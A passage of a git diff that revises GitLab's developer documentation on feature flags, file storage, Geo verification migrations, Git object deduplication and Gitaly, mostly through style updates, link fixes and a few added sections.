+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md
index df737912c00..7551199aa58 100644
--- a/doc/development/feature_flags/controls.md
+++ b/doc/development/feature_flags/controls.md
@@ -34,7 +34,7 @@ _before_ the code is being deployed.
This allows you to separate rolling out a feature from a deploy, making it
easier to measure the impact of both separately.
-GitLab's feature library (using
+The GitLab feature library (using
[Flipper](https://github.com/jnunemaker/flipper), and covered in the [Feature
Flags process](process.md) guide) supports rolling out changes to a percentage of
time to users. This in turn can be controlled using [GitLab Chatops](../../ci/chatops/README.md).
@@ -50,7 +50,7 @@ change feature flags or you do not [have access](#access).
### Enabling a feature for preproduction testing
-As a first step in a feature rollout, you should enable the feature on <https://staging.gitlab.com>
+As a first step in a feature rollout, you should enable the feature on <https://about.staging.gitlab.com>
and <https://dev.gitlab.org>.
These two environments have different scopes.
@@ -228,21 +228,29 @@ existing gates (e.g. `--group=gitlab-org`) in the above processes.
### Feature flag change logging
-Any feature flag change that affects GitLab.com (production) will
-automatically be logged in an issue.
+#### Chatops level
+
+Any feature flag change that affects GitLab.com (production) via [Chatops](https://gitlab.com/gitlab-com/chatops)
+is automatically logged in an issue.
The issue is created in the
[gl-infra/feature-flag-log](https://gitlab.com/gitlab-com/gl-infra/feature-flag-log/-/issues?scope=all&utf8=%E2%9C%93&state=closed)
project, and it will at minimum log the Slack handle of person enabling
a feature flag, the time, and the name of the flag being changed.
-The issue is then also posted to GitLab's internal
+The issue is then also posted to the GitLab internal
[Grafana dashboard](https://dashboards.gitlab.net/) as an annotation
marker to make the change even more visible.
Changes to the issue format can be submitted in the
[Chatops project](https://gitlab.com/gitlab-com/chatops).
+#### Instance level
+
+Any feature flag change that affects any GitLab instance is automatically logged in
+[features_json.log](../../administration/logs.md#features_jsonlog).
+You can search the change history in [Kibana](https://about.gitlab.com/handbook/support/workflows/kibana.html).
+
## Cleaning up
A feature flag should be removed as soon as it is no longer needed. Each additional
@@ -266,7 +274,7 @@ To remove a feature flag:
### Cleanup ChatOps
-When a feature gate has been removed from the code base, the feature
+When a feature gate has been removed from the codebase, the feature
record still exists in the database that the flag was deployed too.
The record can be deleted once the MR is deployed to each environment:
diff --git a/doc/development/feature_flags/development.md b/doc/development/feature_flags/development.md
index 2855662e1db..7c5333c9aa6 100644
--- a/doc/development/feature_flags/development.md
+++ b/doc/development/feature_flags/development.md
@@ -17,12 +17,18 @@ request removing the feature flag or the merge request where the default value o
the feature flag is set to enabled. If the feature contains any database migrations, it
*should* include a changelog entry for the database changes.
-CAUTION: **Caution:**
+WARNING:
All newly-introduced feature flags should be [disabled by default](process.md#feature-flags-in-gitlab-development).
-NOTE: **Note:**
+NOTE:
This document is the subject of continued work as part of an epic to [improve internal usage of Feature Flags](https://gitlab.com/groups/gitlab-org/-/epics/3551). Raise any suggestions as new issues and attach them to the epic.
+## Risk of a broken master (main) branch
+
+Feature flags **must** be used in the MR that introduces them. Not doing so causes a
+[broken master](https://about.gitlab.com/handbook/engineering/workflow/#broken-master) scenario due
+to the `rspec:feature-flags` job that only runs on the `master` branch.
+
## Types of feature flags
Choose a feature flag type that matches the expected usage.
@@ -40,11 +46,11 @@ This is the default type used when calling `Feature.enabled?`.
### `ops` type
`ops` feature flags are long-lived feature flags that control operational aspects
-of GitLab's behavior. For example, feature flags that disable features that might
+of GitLab product behavior. For example, feature flags that disable features that might
have a performance impact, like special Sidekiq worker behavior.
`ops` feature flags likely do not have rollout issues, as it is hard to
-predict when they will be enabled or disabled.
+predict when they are enabled or disabled.
To use `ops` feature flags, you must append `type: :ops` to `Feature.enabled?`
invocations:
@@ -88,9 +94,9 @@ Each feature flag is defined in a separate YAML file consisting of a number of f
| `default_enabled` | yes | The default state of the feature flag that is strictly validated, with `default_enabled:` passed as an argument. |
| `introduced_by_url` | no | The URL to the Merge Request that introduced the feature flag. |
| `rollout_issue_url` | no | The URL to the Issue covering the feature flag rollout. |
-| `group` | no | The [group](https://about.gitlab.com/handbook/product/product-categories/#devops-stages) that owns the feature flag. |
+| `group` | no | The [group](https://about.gitlab.com/handbook/product/categories/#devops-stages) that owns the feature flag. |
-TIP: **Tip:**
+NOTE:
All validations are skipped when running in `RAILS_ENV=production`.
## Create a new feature flag
@@ -125,7 +131,7 @@ type: development
default_enabled: false
```
-TIP: **Tip:**
+NOTE:
To create a feature flag that is only used in EE, add the `--ee` flag: `bin/feature-flag --ee`
## Delete a feature flag
@@ -172,6 +178,29 @@ if Feature.disabled?(:my_feature_flag, project, default_enabled: true)
end
```
+If not specified, `default_enabled` is `false`.
+
+To force reading the `default_enabled` value from the relative YAML definition file, use
+`default_enabled: :yaml`:
+
+```ruby
+if Feature.enabled?(:feature_flag, project, default_enabled: :yaml)
+ # execute code if feature flag is enabled
+end
+```
+
+```ruby
+if Feature.disabled?(:feature_flag, project, default_enabled: :yaml)
+ # execute code if feature flag is disabled
+end
+```
+
+This allows to use the same feature flag check across various parts of the codebase and
+maintain the status of `default_enabled` in the YAML definition file which is the SSOT.
+
+If `default_enabled: :yaml` is used, a YAML definition is expected or an error is raised
+in development or test environment, while returning `false` on production.
+
If not specified, the default feature flag type for `Feature.enabled?` and `Feature.disabled?`
is `type: development`. For all other feature flag types, you must specify the `type:`:
@@ -187,7 +216,7 @@ if Feature.disabled?(:my_feature_flag, project, type: :ops)
end
```
-DANGER: **Warning:**
+WARNING:
Don't use feature flags at application load time. For example, using the `Feature` class in
`config/initializers/*` or at the class level could cause an unexpected error. This error occurs
because a database that a feature flag adapter might depend on doesn't exist at load time
@@ -497,10 +526,6 @@ is persisted.
Make sure behavior under feature flag doesn't go untested in some non-specific contexts.
-See the
-[testing guide](../testing_guide/best_practices.md#feature-flags-in-tests)
-for information and examples on how to stub feature flags in tests.
-
### `stub_feature_flags: false`
This disables a memory-stubbed flipper, and uses `Flipper::Adapters::ActiveRecord`
diff --git a/doc/development/feature_flags/index.md b/doc/development/feature_flags/index.md
index a867bcf792a..270e07ed755 100644
--- a/doc/development/feature_flags/index.md
+++ b/doc/development/feature_flags/index.md
@@ -6,18 +6,43 @@ info: "See the Technical Writers assigned to Development Guidelines: https://abo
# Feature flags in development of GitLab
+## When to use feature flags
+
+Starting with GitLab 11.4, developers are required to use feature flags for
+non-trivial changes. Such changes include:
+
+- New features (e.g. a new merge request widget, epics, etc).
+- Complex performance improvements that may require additional testing in
+ production, such as rewriting complex queries.
+- Invasive changes to the user interface, such as a new navigation bar or the
+ removal of a sidebar.
+- Adding support for importing projects from a third-party service.
+- Risk of data loss
+
+In all cases, those working on the changes can best decide if a feature flag is
+necessary. For example, changing the color of a button doesn't need a feature
+flag, while changing the navigation bar definitely needs one. In case you are
+uncertain if a feature flag is necessary, simply ask about this in the merge
+request, and those reviewing the changes will likely provide you with an answer.
+
+When using a feature flag for UI elements, make sure to _also_ use a feature
+flag for the underlying backend code, if there is any. This ensures there is
+absolutely no way to use the feature until it is enabled.
+
+## How to use Feature Flags
+
Feature flags can be used to gradually deploy changes, regardless of whether
they are new features or performance improvements. By using feature flags,
you can determine the impact of GitLab-directed changes, while still being able
to disable those changes without having to revert an entire release.
-Before using feature flags for GitLab's development, review the following development guides:
+Before using feature flags for GitLab development, review the following development guides:
-NOTE: **Note:**
+NOTE:
The feature flags used by GitLab to deploy its own features **are not** the same
as the [feature flags offered as part of the product](../../operations/feature_flags.md).
-For an overview about starting with feature flags in GitLab's development,
+For an overview about starting with feature flags in GitLab development,
use this [training template](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/.gitlab/issue_templates/feature-flag-training.md).
Development guides:
diff --git a/doc/development/feature_flags/process.md b/doc/development/feature_flags/process.md
index b282424f59a..2e3680bb103 100644
--- a/doc/development/feature_flags/process.md
+++ b/doc/development/feature_flags/process.md
@@ -32,7 +32,8 @@ should be leveraged:
requests, you can use the following workflow:
1. [Create a new feature flag](development.md#create-a-new-feature-flag)
- which is **off** by default, in the first merge request.
+ which is **off** by default, in the first merge request which uses the flag.
+ Flags [should not be added separately](development.md#risk-of-a-broken-master-main-branch).
1. Submit incremental changes via one or more merge requests, ensuring that any
new code added can only be reached if the feature flag is **on**.
You can keep the feature flag enabled on your local GDK during development.
@@ -52,28 +53,6 @@ problems, such as outages.
Please also read the [development guide for feature flags](development.md).
-### When to use feature flags
-
-Starting with GitLab 11.4, developers are required to use feature flags for
-non-trivial changes. Such changes include:
-
-- New features (e.g. a new merge request widget, epics, etc).
-- Complex performance improvements that may require additional testing in
- production, such as rewriting complex queries.
-- Invasive changes to the user interface, such as a new navigation bar or the
- removal of a sidebar.
-- Adding support for importing projects from a third-party service.
-
-In all cases, those working on the changes can best decide if a feature flag is
-necessary. For example, changing the color of a button doesn't need a feature
-flag, while changing the navigation bar definitely needs one. In case you are
-uncertain if a feature flag is necessary, simply ask about this in the merge
-request, and those reviewing the changes will likely provide you with an answer.
-
-When using a feature flag for UI elements, make sure to _also_ use a feature
-flag for the underlying backend code, if there is any. This ensures there is
-absolutely no way to use the feature until it is enabled.
-
### Including a feature behind feature flag in the final release
In order to build a final release and present the feature for self-managed
@@ -91,7 +70,7 @@ account for unforeseen problems.
Feature flags must be [documented according to their state (enabled/disabled)](../documentation/feature_flags.md),
and when the state changes, docs **must** be updated accordingly.
-NOTE: **Note:**
+NOTE:
Take into consideration that such action can make the feature available on
GitLab.com shortly after the change to the feature flag is merged.
diff --git a/doc/development/features_inside_dot_gitlab.md b/doc/development/features_inside_dot_gitlab.md
index e8918c76d04..08adb7faeb2 100644
--- a/doc/development/features_inside_dot_gitlab.md
+++ b/doc/development/features_inside_dot_gitlab.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Features inside the `.gitlab/` directory
diff --git a/doc/development/file_storage.md b/doc/development/file_storage.md
index aa91e105513..1f929d64058 100644
--- a/doc/development/file_storage.md
+++ b/doc/development/file_storage.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# File Storage in GitLab
@@ -48,6 +48,7 @@ they are still not 100% standardized. You can see them below:
| CI Artifacts (CE) | yes | `shared/artifacts/:disk_hash[0..1]/:disk_hash[2..3]/:disk_hash/:year_:month_:date/:job_id/:job_artifact_id` (`:disk_hash` is SHA256 digest of `project_id`) | `JobArtifactUploader` | Ci::JobArtifact |
| LFS Objects (CE) | yes | `shared/lfs-objects/:hex/:hex/:object_hash` | `LfsObjectUploader` | LfsObject |
| External merge request diffs | yes | `shared/external-diffs/merge_request_diffs/mr-:parent_id/diff-:id` | `ExternalDiffUploader` | MergeRequestDiff |
+| Issuable metric images | yes | `uploads/-/system/issuable_metric_image/file/:id/:filename` | `IssuableMetricImageUploader` | IssuableMetricImage |
CI Artifacts and LFS Objects behave differently in CE and EE. In CE they inherit the `GitlabUploader`
while in EE they inherit the `ObjectStorage` and store files in and S3 API compatible object store.
@@ -92,7 +93,7 @@ All the `GitlabUploader` derived classes should comply with this path segment sc
| | | `ObjectStorage::Concern#upload_path |
```
-The `RecordsUploads::Concern` concern will create an `Upload` entry for every file stored by a `GitlabUploader` persisting the dynamic parts of the path using
+The `RecordsUploads::Concern` concern creates an `Upload` entry for every file stored by a `GitlabUploader` persisting the dynamic parts of the path using
`GitlabUploader#dynamic_path`. You may then use the `Upload#build_uploader` method to manipulate the file.
## Object Storage
@@ -107,9 +108,9 @@ The `CarrierWave::Uploader#store_dir` is overridden to
### Using `ObjectStorage::Extension::RecordsUploads`
-This concern will automatically include `RecordsUploads::Concern` if not already included.
+This concern includes `RecordsUploads::Concern` if not already included.
-The `ObjectStorage::Concern` uploader will search for the matching `Upload` to select the correct object store. The `Upload` is mapped using `#store_dirs + identifier` for each store (LOCAL/REMOTE).
+The `ObjectStorage::Concern` uploader searches for the matching `Upload` to select the correct object store. The `Upload` is mapped using `#store_dirs + identifier` for each store (LOCAL/REMOTE).
```ruby
class SongUploader < GitlabUploader
@@ -129,7 +130,7 @@ end
### Using a mounted uploader
-The `ObjectStorage::Concern` will query the `model.<mount>_store` attribute to select the correct object store.
+The `ObjectStorage::Concern` queries the `model.<mount>_store` attribute to select the correct object store.
This column must be present in the model schema.
```ruby
diff --git a/doc/development/filtering_by_label.md b/doc/development/filtering_by_label.md
index 9c1993fdf7f..b10e2f6e082 100644
--- a/doc/development/filtering_by_label.md
+++ b/doc/development/filtering_by_label.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Filtering by label
diff --git a/doc/development/foreign_keys.md b/doc/development/foreign_keys.md
index ff8c03ce76b..0f100c6b66e 100644
--- a/doc/development/foreign_keys.md
+++ b/doc/development/foreign_keys.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Foreign Keys & Associations
diff --git a/doc/development/frontend.md b/doc/development/frontend.md
index 8bb5cf7af62..040004a6917 100644
--- a/doc/development/frontend.md
+++ b/doc/development/frontend.md
@@ -3,3 +3,6 @@ redirect_to: 'fe_guide/index.md'
---
This document was moved to [another location](fe_guide/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/gemfile.md b/doc/development/gemfile.md
index 1daa3ad5cba..c4a9ec4c454 100644
--- a/doc/development/gemfile.md
+++ b/doc/development/gemfile.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# `Gemfile` guidelines
diff --git a/doc/development/geo.md b/doc/development/geo.md
index 06b032a8f66..ed1837f9564 100644
--- a/doc/development/geo.md
+++ b/doc/development/geo.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Geo (development) **(PREMIUM ONLY)**
@@ -102,7 +102,7 @@ projects that need updating. Those projects can be:
When we fail to fetch a repository on the secondary `RETRIES_BEFORE_REDOWNLOAD`
times, Geo does a so-called _re-download_. It will do a clean clone
into the `@geo-temporary` directory in the root of the storage. When
-it's successful, we replace the main repo with the newly cloned one.
+it's successful, we replace the main repository with the newly cloned one.
### Uploads replication
@@ -161,7 +161,7 @@ If the requested file matches the requested SHA256 sum, then the Geo
feature, which allows NGINX to handle the file transfer without tying
up Rails or Workhorse.
-NOTE: **Note:**
+NOTE:
JWT requires synchronized clocks between the machines
involved, otherwise it may fail with an encryption error.
diff --git a/doc/development/geo/framework.md b/doc/development/geo/framework.md
index e440e324c4a..e4518ce1b57 100644
--- a/doc/development/geo/framework.md
+++ b/doc/development/geo/framework.md
@@ -1,12 +1,12 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Geo self-service framework
-NOTE: **Note:**
+NOTE:
This document is subject to change as we continue to implement and iterate on the framework.
Follow the progress in the [epic](https://gitlab.com/groups/gitlab-org/-/epics/2161).
If you need to replicate a new data type, reach out to the Geo
@@ -393,6 +393,8 @@ can track verification state.
def change
change_table(:widgets) do |t|
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.column :verification_started_at, :datetime_with_timezone
t.integer :verification_retry_count, limit: 2
t.column :verification_retry_at, :datetime_with_timezone
t.column :verified_at, :datetime_with_timezone
@@ -431,36 +433,53 @@ can track verification state.
end
```
-1. Add a partial index on `verification_failure` and `verification_checksum` to ensure
- re-verification can be performed efficiently:
+1. Add indexes on verification fields to ensure verification can be performed efficiently:
+
+ Some or all of these indexes can be omitted if the table is guaranteed to be small. Ask a database expert if you are unsure.
```ruby
# frozen_string_literal: true
- class AddVerificationFailureIndexToWidgets < ActiveRecord::Migration[6.0]
+ class AddVerificationIndexesToWidgets < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
DOWNTIME = false
+ VERIFICATION_STATE_INDEX_NAME = "index_widgets_verification_state"
+ PENDING_VERIFICATION_INDEX_NAME = "index_widgets_pending_verification"
+ FAILED_VERIFICATION_INDEX_NAME = "index_widgets_failed_verification"
+ NEEDS_VERIFICATION_INDEX_NAME = "index_widgets_needs_verification"
disable_ddl_transaction!
def up
- add_concurrent_index :widgets, :verification_failure, where: "(verification_failure IS NOT NULL)", name: "widgets_verification_failure_partial"
- add_concurrent_index :widgets, :verification_checksum, where: "(verification_checksum IS NOT NULL)", name: "widgets_verification_checksum_partial"
+ add_concurrent_index :widgets, :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ add_concurrent_index :widgets, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ add_concurrent_index :widgets, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ add_concurrent_index :widgets, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
end
def down
- remove_concurrent_index :widgets, :verification_failure
- remove_concurrent_index :widgets, :verification_checksum
+ remove_concurrent_index_by_name :widgets, VERIFICATION_STATE_INDEX_NAME
+ remove_concurrent_index_by_name :widgets, PENDING_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :widgets, FAILED_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :widgets, NEEDS_VERIFICATION_INDEX_NAME
end
end
```
+1. Add the `Gitlab::Geo::VerificationState` concern to the `widget` model if it is not already included in `Gitlab::Geo::ReplicableModel`:
+
+ ```ruby
+ class Widget < ApplicationRecord
+ ...
+ include ::Gitlab::Geo::VerificationState
+ ...
+ end
+ ```
+
##### Option 2: Create a separate `widget_states` table with verification state fields
-1. Create a `widget_states` table and add a partial index on `verification_failure` and
- `verification_checksum` to ensure re-verification can be performed efficiently. Order
- the columns according to [the guidelines](../ordering_table_columns.md):
+1. Create a `widget_states` table and add an index on `verification_state` to ensure verification can be performed efficiently. Order the columns according to [the guidelines](../ordering_table_columns.md):
```ruby
# frozen_string_literal: true
@@ -477,14 +496,15 @@ can track verification state.
with_lock_retries do
create_table :widget_states, id: false do |t|
t.references :widget, primary_key: true, null: false, foreign_key: { on_delete: :cascade }
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.column :verification_started_at, :datetime_with_timezone
t.datetime_with_timezone :verification_retry_at
t.datetime_with_timezone :verified_at
t.integer :verification_retry_count, limit: 2
t.binary :verification_checksum, using: 'verification_checksum::bytea'
t.text :verification_failure
- t.index :verification_failure, where: "(verification_failure IS NOT NULL)", name: "widgets_verification_failure_partial"
- t.index :verification_checksum, where: "(verification_checksum IS NOT NULL)", name: "widgets_verification_checksum_partial"
+ t.index :verification_state, name: "index_widget_states_on_verification_state"
end
end
end
@@ -498,6 +518,20 @@ can track verification state.
end
```
+1. Add the following lines to the `widget_state.rb` model:
+
+ ```ruby
+ class WidgetState < ApplicationRecord
+ ...
+ self.primary_key = :widget_id
+
+ include ::Gitlab::Geo::VerificationState
+
+ belongs_to :widget, inverse_of: :widget_state
+ ...
+ end
+ ```
+
1. Add the following lines to the `widget` model:
```ruby
@@ -547,14 +581,16 @@ Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in
1. Add the following to `spec/factories/widgets.rb`:
```ruby
- trait(:checksummed) do
+ trait(:verification_succeeded) do
with_file
verification_checksum { 'abc' }
+ verification_state { Widget.verification_state_value(:verification_succeeded) }
end
- trait(:checksum_failure) do
+ trait(:verification_failed) do
with_file
verification_failure { 'Could not calculate the checksum' }
+ verification_state { Widget.verification_state_value(:verification_failed) }
end
```
diff --git a/doc/development/git_object_deduplication.md b/doc/development/git_object_deduplication.md
index 4f1afed24ba..00993cc2932 100644
--- a/doc/development/git_object_deduplication.md
+++ b/doc/development/git_object_deduplication.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# How Git object deduplication works in GitLab
@@ -11,7 +11,7 @@ GitLab creates a new Project with an associated Git repository that is a
copy of the original project at the time of the fork. If a large project
gets forked often, this can lead to a quick increase in Git repository
storage disk use. To counteract this problem, we are adding Git object
-deduplication for forks to GitLab. In this document, we will describe how
+deduplication for forks to GitLab. In this document, we describe how
GitLab implements Git object deduplication.
## Pool repositories
@@ -27,13 +27,13 @@ If we want repository A to borrow from repository B, we first write a
path that resolves to `B.git/objects` in the special file
`A.git/objects/info/alternates`. This establishes the alternates link.
Next, we must perform a Git repack in A. After the repack, any objects
-that are duplicated between A and B will get deleted from A. Repository
+that are duplicated between A and B are deleted from A. Repository
A is now no longer self-contained, but it still has its own refs and
-configuration. Objects in A that are not in B will remain in A. For this
+configuration. Objects in A that are not in B remain in A. For this
to work, it is of course critical that **no objects ever get deleted from
B** because A might need them.
-DANGER: **Warning:**
+WARNING:
Do not run `git prune` or `git gc` in pool repositories! This can
cause data loss in "real" repositories that depend on the pool in
question.
@@ -49,7 +49,7 @@ repositories** which are hidden from the user. We then use Git
alternates to let a collection of project repositories borrow from a
single pool repository. We call such a collection of project
repositories a pool. Pools form star-shaped networks of repositories
-that borrow from a single pool, which will resemble (but not be
+that borrow from a single pool, which resemble (but not be
identical to) the fork networks that get formed when users fork
projects.
@@ -72,9 +72,9 @@ across a collection of GitLab project repositories at the Git level:
The effectiveness of Git object deduplication in GitLab depends on the
amount of overlap between the pool repository and each of its
participants. Each time garbage collection runs on the source project,
-Git objects from the source project will get migrated to the pool
+Git objects from the source project are migrated to the pool
repository. One by one, as garbage collection runs, other member
-projects will benefit from the new objects that got added to the pool.
+projects benefit from the new objects that got added to the pool.
## SQL model
@@ -123,19 +123,19 @@ are as follows:
the fork parent and the fork child project become members of the new
pool.
- Once project A has become the source project of a pool, all future
- eligible forks of A will become pool members.
+ eligible forks of A become pool members.
- If the fork source is itself a fork, the resulting repository will
- neither join the repository nor will a new pool repository be
+ neither join the repository nor is a new pool repository
seeded.
- eg:
+ Such as:
Suppose fork A is part of a pool repository, any forks created off
- of fork A *will not* be a part of the pool repository that fork A is
+ of fork A *are not* a part of the pool repository that fork A is
a part of.
Suppose B is a fork of A, and A does not belong to an object pool.
- Now C gets created as a fork of B. C will not be part of a pool
+ Now C gets created as a fork of B. C is not part of a pool
repository.
> TODO should forks of forks be deduplicated?
@@ -146,11 +146,11 @@ are as follows:
- If a normal Project participating in a pool gets moved to another
Gitaly storage shard, its "belongs to PoolRepository" relation will
be broken. Because of the way moving repositories between shard is
- implemented, we will automatically get a fresh self-contained copy
+ implemented, we get a fresh self-contained copy
of the project's repository on the new storage shard.
- If the source project of a pool gets moved to another Gitaly storage
shard or is deleted the "source project" relation is not broken.
- However, as of GitLab 12.0 a pool will not fetch from a source
+ However, as of GitLab 12.0 a pool does not fetch from a source
unless the source is on the same Gitaly shard.
## Consistency between the SQL pool relation and Gitaly
@@ -163,37 +163,37 @@ repository and a pool.
### Pool existence
If GitLab thinks a pool repository exists (i.e. it exists according to
-SQL), but it does not on the Gitaly server, then it will be created on
+SQL), but it does not on the Gitaly server, then it is created on
the fly by Gitaly.
### Pool relation existence
There are three different things that can go wrong here.
-#### 1. SQL says repo A belongs to pool P but Gitaly says A has no alternate objects
+#### 1. SQL says repository A belongs to pool P but Gitaly says A has no alternate objects
In this case, we miss out on disk space savings but all RPC's on A
-itself will function fine. The next time garbage collection runs on A,
+itself function fine. The next time garbage collection runs on A,
the alternates connection gets established in Gitaly. This is done by
`Projects::GitDeduplicationService` in GitLab Rails.
-#### 2. SQL says repo A belongs to pool P1 but Gitaly says A has alternate objects in pool P2
+#### 2. SQL says repository A belongs to pool P1 but Gitaly says A has alternate objects in pool P2
-In this case `Projects::GitDeduplicationService` will throw an exception.
+In this case `Projects::GitDeduplicationService` throws an exception.
-#### 3. SQL says repo A does not belong to any pool but Gitaly says A belongs to P
+#### 3. SQL says repository A does not belong to any pool but Gitaly says A belongs to P
-In this case `Projects::GitDeduplicationService` will try to
+In this case `Projects::GitDeduplicationService` tries to
"re-duplicate" the repository A using the DisconnectGitAlternates RPC.
## Git object deduplication and GitLab Geo
When a pool repository record is created in SQL on a Geo primary, this
-will eventually trigger an event on the Geo secondary. The Geo secondary
-will then create the pool repository in Gitaly. This leads to an
+eventually triggers an event on the Geo secondary. The Geo secondary
+then creates the pool repository in Gitaly. This leads to an
"eventually consistent" situation because as each pool participant gets
-synchronized, Geo will eventually trigger garbage collection in Gitaly on
-the secondary, at which stage Git objects will get deduplicated.
+synchronized, Geo eventually triggers garbage collection in Gitaly on
+the secondary, at which stage Git objects are deduplicated.
> TODO How do we handle the edge case where at the time the Geo
> secondary tries to create the pool repository, the source project does
diff --git a/doc/development/gitaly.md b/doc/development/gitaly.md
index 8b4e5090abb..57a4e24679c 100644
--- a/doc/development/gitaly.md
+++ b/doc/development/gitaly.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Gitaly
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -13,9 +13,9 @@ Workhorse and GitLab Shell.
## Deep Dive
In May 2019, Bob Van Landuyt hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`)
-on GitLab's [Gitaly project](https://gitlab.com/gitlab-org/gitaly) and how to contribute to it as a
+on the [Gitaly project](https://gitlab.com/gitlab-org/gitaly) and how to contribute to it as a
Ruby developer, to share his domain specific knowledge with anyone who may work in this part of the
-code base in the future.
+codebase in the future.
You can find the [recording on YouTube](https://www.youtube.com/watch?v=BmlEWFS8ORo), and the slides
on [Google Slides](https://docs.google.com/presentation/d/1VgRbiYih9ODhcPnL8dS0W98EwFYpJ7GXMPpX-1TM6YE/edit)
@@ -84,7 +84,7 @@ If your test-suite is failing with Gitaly issues, as a first step, try running:
rm -rf tmp/tests/gitaly
```
-During RSpec tests, the Gitaly instance will write logs to `gitlab/log/gitaly-test.log`.
+During RSpec tests, the Gitaly instance writes logs to `gitlab/log/gitaly-test.log`.
## Legacy Rugged code
@@ -121,26 +121,26 @@ bundle exec rake gitlab:features:disable_rugged
Most of this code exists in the `lib/gitlab/git/rugged_impl` directory.
-NOTE: **Note:**
+NOTE:
You should NOT need to add or modify code related to
Rugged unless explicitly discussed with the [Gitaly
-Team](https://gitlab.com/groups/gl-gitaly/group_members). This code will
+Team](https://gitlab.com/groups/gl-gitaly/group_members). This code does
NOT work on GitLab.com or other GitLab instances that do not use NFS.
## `TooManyInvocationsError` errors
During development and testing, you may experience `Gitlab::GitalyClient::TooManyInvocationsError` failures.
-The `GitalyClient` will attempt to block against potential n+1 issues by raising this error
+The `GitalyClient` attempts to block against potential n+1 issues by raising this error
when Gitaly is called more than 30 times in a single Rails request or Sidekiq execution.
-As a temporary measure, export `GITALY_DISABLE_REQUEST_LIMITS=1` to suppress the error. This will disable the n+1 detection
+As a temporary measure, export `GITALY_DISABLE_REQUEST_LIMITS=1` to suppress the error. This disables the n+1 detection
in your development environment.
Please raise an issue in the GitLab CE or EE repositories to report the issue. Include the labels ~Gitaly
~performance ~"technical debt". Please ensure that the issue contains the full stack trace and error message of the
`TooManyInvocationsError`. Also include any known failing tests if possible.
-Isolate the source of the n+1 problem. This will normally be a loop that results in Gitaly being called for each
+Isolate the source of the n+1 problem. This is normally a loop that results in Gitaly being called for each
element in an array. If you are unable to isolate the problem, please contact a member
of the [Gitaly Team](https://gitlab.com/groups/gl-gitaly/group_members) for assistance.
@@ -154,7 +154,7 @@ Gitlab::GitalyClient.allow_n_plus_1_calls do
end
```
-Once the code is wrapped in this block, this code-path will be excluded from n+1 detection.
+Once the code is wrapped in this block, this code path is excluded from n+1 detection.
## Request counts
@@ -181,15 +181,19 @@ Normally, GitLab CE/EE tests use a local clone of Gitaly in
